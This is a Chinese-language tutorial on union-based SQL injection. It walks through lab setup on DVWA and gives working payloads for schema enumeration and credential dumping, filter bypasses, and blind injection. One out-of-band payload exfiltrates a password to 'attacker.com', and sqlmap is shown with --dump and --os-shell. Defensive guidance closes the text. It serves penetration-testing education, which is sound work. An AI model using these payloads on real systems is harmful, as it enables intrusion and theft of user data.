1. 联合查询注入的本质与攻击逻辑
联合查询注入(Union-Based SQL Injection)是SQL注入攻击中最经典、最直接的技术手段之一。这种攻击方式之所以能够成功,核心在于Web应用程序对用户输入数据的处理不当,直接将用户可控参数拼接到SQL语句中执行。
攻击者通过构造特殊的输入数据,利用UNION操作符将恶意查询与原查询合并执行。UNION操作在SQL中用于合并两个或多个SELECT语句的结果集,关键特性是:
- 合并的SELECT语句必须拥有相同数量的列
- 列也必须拥有相似的数据类型
- 结果集中的列名通常等于第一个SELECT语句中的列名
在实际渗透测试中,联合查询注入通常遵循以下攻击流程:
- 识别注入点:通过单引号、布尔测试等方式确认参数是否存在SQL注入漏洞
- 确定字段数:使用ORDER BY子句逐步测试,直到报错确定列数
- 探测回显位:通过UNION SELECT null,null...定位页面中显示数据的列位置
- 提取信息:利用回显位获取数据库版本、表名、列名等敏感信息
- 数据窃取:最终获取用户名、密码等核心业务数据
关键注意:现代Web应用通常采用预编译语句等防护措施,联合查询注入在真实环境中成功率已大幅降低,但在遗留系统和教学场景中仍是重要的测试项目。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 联合查询注入的实战环境搭建
2.1 靶场环境选择与配置
为了安全地学习和实践联合查询注入技术,推荐使用以下靶场环境:
-
DVWA (Damn Vulnerable Web Application)
- 难度级别:Low/Medium
- 特点:集成在XAMPP等集成环境中,配置简单
- 注入点:/vulnerabilities/sqli/ 页面
-
SQLi-Labs
- 专门为SQL注入学习设计的靶场
- 包含从基础到高级的各种注入场景
- 需要PHP+MySQL环境支持
-
WebGoat
- OWASP维护的综合性Web安全学习平台
- 包含SQL注入专项课程
- 使用Java开发,需要JDK环境
以DVWA为例,基础配置步骤:
bash复制# 下载XAMPP集成环境
wget https://www.apachefriends.org/xampp-files/8.1.6/xampp-linux-x64-8.1.6-0-installer.run
chmod +x xampp-linux-x64-8.1.6-0-installer.run
sudo ./xampp-linux-x64-8.1.6-0-installer.run
# 下载DVWA
cd /opt/lampp/htdocs/
git clone https://github.com/digininja/DVWA.git
2.2 必要工具准备
-
浏览器插件
- HackBar:快速构造和发送Payload
- Max Hack:集成多种Web测试功能
-
代理工具
- Burp Suite Community:拦截和修改HTTP请求
- OWASP ZAP:开源Web应用安全扫描器
-
专用注入工具
- sqlmap:自动化SQL注入检测与利用
- jSQL Injection:Java编写的轻量级注入工具
配置Burp Suite拦截DVWA请求的示例:
- 启动Burp Suite,在Proxy→Options中确认监听端口(默认8080)
- 浏览器设置代理为127.0.0.1:8080
- 访问DVWA登录页面,Burp会捕获到POST请求
- 右键选择"Send to Repeater"进行后续测试
3. 联合查询注入的完整攻击链
3.1 注入点识别与确认
典型的注入点测试方法:
-
基础测试(以GET参数为例)
code复制http://target.com/page.php?id=1' http://target.com/page.php?id=1"观察是否出现数据库错误信息
-
布尔测试
code复制http://target.com/page.php?id=1 and 1=1 -- 正常显示 http://target.com/page.php?id=1 and 1=2 -- 异常显示 -
时间延迟测试
code复制http://target.com/page.php?id=1; SELECT SLEEP(5) --观察响应时间是否延迟
以DVWA Low级别SQL注入为例:
sql复制1' AND 1=1 --
1' AND 1=2 --
通过对比两次返回结果的差异确认注入点有效性。
3.2 确定查询列数
使用ORDER BY子句逐步测试:
sql复制1' ORDER BY 1 --
1' ORDER BY 2 --
...
1' ORDER BY n --
当n超过实际列数时,页面将返回错误。
在DVWA环境中测试:
sql复制1' ORDER BY 1 -- 正常
1' ORDER BY 2 -- 正常
1' ORDER BY 3 -- 报错
说明原查询有2列。
3.3 定位回显位置
使用UNION SELECT配合null值确定哪些列会被显示在页面上:
sql复制1' UNION SELECT null,null --
然后逐步替换null为可识别字符串:
sql复制1' UNION SELECT 'test1','test2' --
观察页面中'test1'或'test2'出现的位置。
DVWA示例:
sql复制1' UNION SELECT 'left','right' --
结果显示'left'出现在用户名位置,'right'出现在密码位置。
3.4 信息收集与提取
-
获取数据库信息
sql复制1' UNION SELECT version(),database() --返回MySQL版本和当前数据库名
-
获取表名
sql复制1' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema='dvwa' -- -
获取列名
sql复制1' UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users' -- -
提取用户数据
sql复制1' UNION SELECT user,password FROM users --
DVWA实战示例:
sql复制1' UNION SELECT user,password FROM users WHERE user='admin' --
返回管理员用户名和MD5哈希密码。
4. 高级技巧与绕过方法
4.1 过滤绕过技术
-
大小写混淆
sql复制1' UniOn SeLeCt 1,2 -- -
注释符变种
sql复制1' UNION SELECT 1,2# 1' UNION SELECT 1,2/* -
等价函数替换
sql复制CONCAT() 替代字符串连接 MID()/SUBSTR() 替代SUBSTRING -
编码绕过
sql复制十六进制编码:0x61646D696E (admin) URL编码:%27%20UNION%20SELECT%201,2%20--%20
4.2 无回显场景处理
当页面不直接显示查询结果时,可以采用:
-
基于错误的注入
sql复制1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -
时间盲注
sql复制1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0) -- -
外带数据(OOB)
sql复制1' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\')) --
4.3 自动化工具辅助
sqlmap基本使用命令:
bash复制sqlmap -u "http://target.com/page.php?id=1" --risk=3 --level=5 --batch
常用参数:
--dbs:枚举数据库--tables:枚举表--columns:枚举列--dump:导出数据--os-shell:获取系统shell
5. 防御措施与最佳实践
5.1 开发层面防护
-
参数化查询(预编译语句)
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); -
输入验证
php复制if (!is_numeric($id)) { die("Invalid input"); } -
最小权限原则
sql复制GRANT SELECT ON db.users TO 'webuser'@'localhost'; -
安全函数使用
php复制$safe_input = mysqli_real_escape_string($conn, $input);
5.2 运维层面防护
-
WAF配置
- ModSecurity规则示例:
code复制SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
- ModSecurity规则示例:
-
日志监控
bash复制grep -i "union.*select" /var/log/apache2/access.log -
定期更新
bash复制sudo apt update && sudo apt upgrade mysql-server
5.3 渗透测试报告要点
在正式渗透测试报告中,SQL注入漏洞应包含:
- 漏洞描述
- 风险等级(CVSS评分)
- 复现步骤
- 影响范围
- 修复建议
- 验证方法
示例CVSS评分向量:
code复制CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
在实际测试过程中,我发现很多开发团队虽然知道参数化查询的重要性,但在复杂查询场景下仍然会图方便直接拼接SQL。特别是在报表类功能、动态排序等场景中,这种风险尤为突出。建议在代码审查时特别关注以下高危模式:
- 字符串直接拼接SQL
- 动态表名/列名处理
- ORM框架中的原生SQL片段
- 存储过程中的动态SQL
对于防御措施,除了技术手段外,定期对开发团队进行安全编码培训同样重要。我曾在一个项目中通过简单的内部培训,使SQL注入漏洞减少了70%以上。
